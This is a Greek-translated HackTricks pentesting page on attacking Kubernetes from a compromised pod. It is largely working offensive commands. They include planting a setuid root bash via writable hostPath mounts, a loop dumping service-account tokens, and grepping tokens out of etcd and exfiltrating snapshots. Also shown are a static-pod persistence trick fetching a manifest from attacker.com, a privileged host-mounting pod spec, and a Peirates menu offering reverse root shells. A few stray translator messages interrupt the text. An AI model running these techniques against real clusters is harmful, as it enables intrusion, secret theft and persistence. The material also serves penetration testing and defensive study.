Επίθεση στο Kubernetes από μέσα ενός Pod

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Pod Breakout

Αν είστε αρκετά τυχεροί, μπορεί να καταφέρετε να διαφύγετε από αυτό προς τον node:

Escaping from the pod

Για να προσπαθήσετε να διαφύγετε από τα pods, ίσως χρειαστεί πρώτα να escalate privileges, μερικές τεχνικές για αυτό:

Linux Privilege Escalation - HackTricks

Μπορείτε να δείτε αυτά τα docker breakouts to try to escape για να προσπαθήσετε να διαφύγετε από ένα pod που έχετε compromised:

Docker Breakout / Privilege Escalation - HackTricks

Κατάχρηση writable hostPath/bind mounts (container -> host root via SUID planting)

Εάν ένα compromised pod/container έχει ένα writable volume που αντιστοιχίζεται απευθείας στο host filesystem (Kubernetes hostPath ή Docker bind mount), και μπορείτε να γίνετε root μέσα στο container, μπορείτε να εκμεταλλευτείτε το mount για να δημιουργήσετε ένα setuid-root binary στον host και μετά να το εκτελέσετε από τον host για να κερδίσετε root.

Κύριες προϋποθέσεις:

  • Το mounted volume είναι writable από μέσα στο container (readOnly: false και τα filesystem permissions επιτρέπουν εγγραφή).
  • Το host filesystem που υποστηρίζει το mount δεν είναι mounted με την επιλογή nosuid.
  • Έχετε κάποιο τρόπο να εκτελέσετε το planted binary στον host (π.χ. ξεχωριστό SSH/RCE στον host, ένας χρήστης στον host μπορεί να το εκτελέσει, ή κάποιο άλλο vector που τρέχει binaries από αυτό το path).

Πώς να εντοπίσετε writable hostPath/bind mounts:

  • Με kubectl, ελέγξτε για hostPath volumes: kubectl get pod -o jsonpath=‘{.spec.volumes[*].hostPath.path}’
  • Από μέσα στο container, κάντε list mounts και ψάξτε για host-path mounts και δοκιμάστε αν είναι writable:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

Τοποθέτησε ένα setuid root binary από το container:

# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

Εκτελέστε στον host για να αποκτήσετε root:

# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Σημειώσεις και αντιμετώπιση προβλημάτων:

  • Αν το host mount έχει nosuid, τα setuid bits θα αγνοηθούν. Ελέγξτε τις επιλογές mount στον host (cat /proc/mounts | grep ) και αναζητήστε nosuid.
  • Αν δεν μπορείτε να αποκτήσετε ένα host execution path, παρόμοια writable mounts μπορούν να abusе για να γράψετε άλλα persistence/priv-esc artifacts στον host αν ο mapped directory είναι κρίσιμης ασφάλειας (π.χ., προσθέστε ένα root SSH key αν το mount maps στο /root/.ssh, αφήστε ένα cron/systemd unit αν maps στο /etc, αντικαταστήστε ένα binary που ανήκει σε root στο PATH που ο host θα εκτελέσει, κ.λπ.). Η εφικτότητα εξαρτάται εξολοκλήρου από το ποιο path είναι mounted.
  • Αυτή η τεχνική λειτουργεί επίσης με απλά Docker bind mounts· σε Kubernetes είναι συνήθως ένα hostPath volume (readOnly: false) ή ένα incorrectly scoped subPath.

Κατάχρηση δικαιωμάτων Kubernetes

Όπως εξηγήθηκε στην ενότητα για kubernetes enumeration:

Kubernetes Enumeration

Συνήθως τα pods τρέχουν με ένα service account token μέσα τους. Αυτό το service account μπορεί να έχει κάποια privileges attached to it που θα μπορούσατε να abuse για να move σε άλλα pods ή ακόμα και να escape στους nodes που έχουν ρυθμιστεί μέσα στο cluster. Δείτε πώς στο:

Abusing Roles/ClusterRoles in Kubernetes

Κατάχρηση Cloud Privileges

Αν το pod τρέχει μέσα σε ένα cloud environment μπορεί να καταφέρετε να leak a token from the metadata endpoint και να escalate privileges χρησιμοποιώντας το.

Αναζήτηση ευάλωτων δικτυακών υπηρεσιών

Καθώς βρίσκεστε μέσα στο Kubernetes environment, αν δεν μπορείτε να escalate privileges εκμεταλλευόμενοι τα τρέχοντα pods privileges και δεν μπορείτε να escape από το container, θα πρέπει να search potential vulnerable services.

Υπηρεσίες

Για το σκοπό αυτό, μπορείτε να προσπαθήσετε να λάβετε όλες τις υπηρεσίες του kubernetes environment:

kubectl get svc --all-namespaces

Από προεπιλογή, το Kubernetes χρησιμοποιεί ένα επίπεδο σχήμα δικτύωσης, που σημαίνει ότι οποιοδήποτε pod/service εντός του cluster μπορεί να επικοινωνήσει με άλλα. Τα namespaces εντός του cluster δεν έχουν κανέναν περιορισμό δικτυακής ασφάλειας από προεπιλογή. Οποιοσδήποτε στο namespace μπορεί να επικοινωνήσει με άλλα namespaces.

Σάρωση

Το ακόλουθο Bash script (παρμένο από ένα Kubernetes workshop) θα εγκαταστήσει και θα σαρώσει τα IP ranges του kubernetes cluster:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Pentesting Kubernetes Services

Sniffing

Σε περίπτωση που το compromised pod is running some sensitive service όπου άλλα pods χρειάζεται να authenticate, μπορεί να καταφέρετε να αποκτήσετε τα credentials που στέλνονται από τα άλλα pods με sniffing local communications.

Network Spoofing

Κατά προεπιλογή τεχνικές όπως ARP spoofing (και χάρη σε αυτό DNS Spoofing) λειτουργούν στο kubernetes network. Έτσι, μέσα σε ένα pod, αν έχετε την NET_RAW capability (που υπάρχει από προεπιλογή), θα μπορείτε να στέλνετε προσαρμοσμένα πακέτα δικτύου και να εκτελέσετε MitM attacks via ARP Spoofing to all the pods running in the same node.
Επιπλέον, αν το malicious pod τρέχει στον same node as the DNS Server, θα μπορείτε να πραγματοποιήσετε μια DNS Spoofing attack to all the pods in cluster.

Kubernetes Network Attacks

Node DoS

Δεν υπάρχει specification των resources στα Kubernetes manifests και δεν έχουν εφαρμοστεί limit ranges για τα containers. Ως attacker, μπορούμε να consume all the resources where the pod/deployment running και να στερήσουμε άλλα resources και να προκαλέσουμε DoS για το περιβάλλον.

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Μπορείτε να δείτε τη διαφορά μεταξύ της κατάστασης ενώ τρέχει το stress-ng και της κατάστασης μετά.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

Εάν καταφέρατε να escape from the container, θα βρείτε μερικά ενδιαφέροντα πράγματα στον node:

  • Η διαδικασία Container Runtime (Docker)
  • Περισσότερα pods/containers που τρέχουν στον node και μπορείτε να τα καταχραστείτε όπως αυτό (περισσότερα tokens)
  • Ολόκληρο το filesystem και το OS γενικά
  • Η υπηρεσία Kube-Proxy που ακούει
  • Η υπηρεσία Kubelet που ακούει. Ελέγξτε αρχεία config:
  • Directory: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf –> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • Άλλα κοινά αρχεία του kubernetes:
  • $HOME/.kube/config - User Config
  • /etc/kubernetes/kubelet.conf- Regular Config
  • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap Config
  • /etc/kubernetes/manifests/etcd.yaml - etcd Configuration
  • /etc/kubernetes/pki - Kubernetes Key

Βρείτε node kubeconfig

Αν δεν μπορείτε να βρείτε το kubeconfig αρχείο σε κάποιο από τα προαναφερθέντα μονοπάτια, ελέγξτε το όρισμα --kubeconfig της διαδικασίας kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Κλέψτε Secrets

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Το script can-they.sh θα αυτόματα get the tokens of other pods and check if they have the permission που ψάχνετε (αντί να ψάχνετε ένα-ένα):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets με προνόμια

Ένα DaemonSet είναι ένα pod που θα τρέξει σε όλους τους nodes του cluster. Επομένως, αν ένα DaemonSet είναι ρυθμισμένο με έναν privileged service account, σε ΟΛΟΥΣ τους nodes θα μπορείτε να βρείτε το token αυτού του privileged service account το οποίο θα μπορούσατε να καταχραστείτε.

Pivot to Cloud

If the cluster is managed by a cloud service, usually the Node will have a different access to the metadata endpoint than the Pod. Therefore, try to access the metadata endpoint from the node (or from a pod with hostNetwork to True):

Kubernetes Pivoting to Clouds

Steal etcd

If you can specify the nodeName of the Node that will run the container, get a shell inside a control-plane node and get the etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Οι control-plane κόμβοι έχουν τον role master και σε cloud managed clusters δεν θα μπορείτε να τρέξετε τίποτα σε αυτούς.

Ανάγνωση secrets από etcd 1

Αν μπορείτε να τρέξετε το pod σας σε έναν control-plane κόμβο χρησιμοποιώντας τον nodeName selector στο pod spec, μπορεί να έχετε εύκολη πρόσβαση στη βάση δεδομένων etcd, που περιέχει όλη τη διαμόρφωση του cluster, συμπεριλαμβανομένων όλων των secrets.

Παρακάτω είναι ένας γρήγορος και πρόχειρος τρόπος να αρπάξετε secrets από etcd αν αυτό τρέχει στον control-plane κόμβο όπου βρίσκεστε. Αν θέλετε μια πιο κομψή λύση που σηκώνει ένα pod με το client utility etcdctl και χρησιμοποιεί τα διαπιστευτήρια του control-plane κόμβου για να συνδεθεί στο etcd όπου κι αν τρέχει, δείτε this example manifest από τον @mauilion.

Ελέγξτε αν η etcd τρέχει στον control-plane κόμβο και δείτε πού βρίσκεται η βάση δεδομένων (Αυτό είναι σε cluster που δημιουργήθηκε με kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Δεν δόθηκε περιεχόμενο. Παρακαλώ επικολλήστε το κείμενο που θέλετε να μεταφραστεί.

data-dir=/var/lib/etcd

Προβολή των δεδομένων στη βάση etcd:

strings /var/lib/etcd/member/snap/db | less

Εξαγάγετε τα tokens από τη βάση δεδομένων και εμφανίστε το service account name

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Ίδια εντολή, αλλά με κάποια greps για να επιστρέψει μόνο το default token στο kube-system namespace

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Δεν παρείχατε κανένα περιεχόμενο για μετάφραση.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Διαβάστε secrets από etcd 2 from here

  1. Δημιουργήστε ένα snapshot της etcd βάσης δεδομένων. Ελέγξτε this script για περισσότερες πληροφορίες.
  2. Μεταφέρετε το etcd snapshot εκτός του node με όποιον τρόπο προτιμάτε.
  3. Αποσυμπιέστε τη βάση δεδομένων:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Ξεκινήστε το etcd στον τοπικό σας υπολογιστή και κάντε το να χρησιμοποιήσει το κλεμμένο snapshot:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. Λίστα όλων των secrets:
etcdctl get "" --prefix --keys-only | grep secret
  1. Πάρε τα Secrets:
etcdctl get /registry/secrets/default/my-secret

Static/Mirrored Pods Διατήρηση

Static Pods διαχειρίζονται απευθείας από το daemon kubelet σε έναν συγκεκριμένο node, χωρίς το API server να τα παρακολουθεί. Σε αντίθεση με τα Pods που διαχειρίζεται το control plane (για παράδειγμα, ένα Deployment), το kubelet παρακολουθεί κάθε static Pod (και το επανεκκινεί αν αποτύχει).

Επομένως, τα static Pods είναι πάντα δεμένα σε έναν Kubelet σε έναν συγκεκριμένο node.

Το kubelet προσπαθεί αυτόματα να δημιουργήσει ένα mirror Pod στον Kubernetes API server για κάθε static Pod. Αυτό σημαίνει ότι τα Pods που τρέχουν σε έναν node είναι ορατά στον API server, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pod θα έχουν επίθημα με το hostname του node προθετημένο με μια αρχική παύλα.

Caution

Η spec ενός static Pod δεν μπορεί να αναφέρεται σε άλλα API objects (π.χ., ServiceAccount, ConfigMap, Secret, κ.λπ.). Έτσι δεν μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εκκινήσετε ένα pod με αυθαίρετο serviceAccount στον τρέχοντα node για να συμβιβάσετε το cluster. Αλλά μπορείτε να το χρησιμοποιήσετε για να τρέξετε pods σε διαφορετικά namespaces (σε περίπτωση που αυτό είναι χρήσιμο για κάποιο λόγο).

Αν βρίσκεστε μέσα στο host του node μπορείτε να το κάνετε να δημιουργήσει ένα static pod μέσα στον εαυτό του. Αυτό είναι αρκετά χρήσιμο επειδή μπορεί να σας επιτρέψει να δημιουργήσετε ένα pod σε ένα διαφορετικό namespace όπως το kube-system.

Για να δημιουργήσετε ένα static pod, τα docs είναι πολύ χρήσιμα. Βασικά χρειάζεστε 2 πράγματα:

  • Ρυθμίστε την παράμετρο --pod-manifest-path=/etc/kubernetes/manifests στην kubelet service, ή στο kubelet config (staticPodPath) και επανεκκινήστε την υπηρεσία
  • Δημιουργήστε τον ορισμό στο pod definition στο /etc/kubernetes/manifests

Μια άλλη πιο stealth μέθοδος θα ήταν να:

  • Τροποποιήσετε την παράμετρο staticPodURL στο αρχείο config του kubelet και ορίσετε κάτι σαν staticPodURL: http://attacker.com:8765/pod.yaml. Αυτό θα κάνει τη διαδικασία kubelet να δημιουργήσει ένα static pod λαμβάνοντας τη διαμόρφωση από το υποδεικνυόμενο URL.

Παράδειγμα της pod διαμόρφωσης για τη δημιουργία ενός privilege pod στο kube-system ληφθέν από εδώ:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Διαγραφή pods + unschedulable nodes

Εάν ένας επιτιθέμενος έχει compromised a node και μπορεί να delete pods από άλλους κόμβους και να make other nodes not able to execute pods, τα pods θα επανεκτελεστούν στον compromised node και θα μπορεί να steal the tokens που τρέχουν σε αυτά.
Για περισσότερες πληροφορίες ακολουθήστε αυτόν τον σύνδεσμο.

Αυτόματα Εργαλεία

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks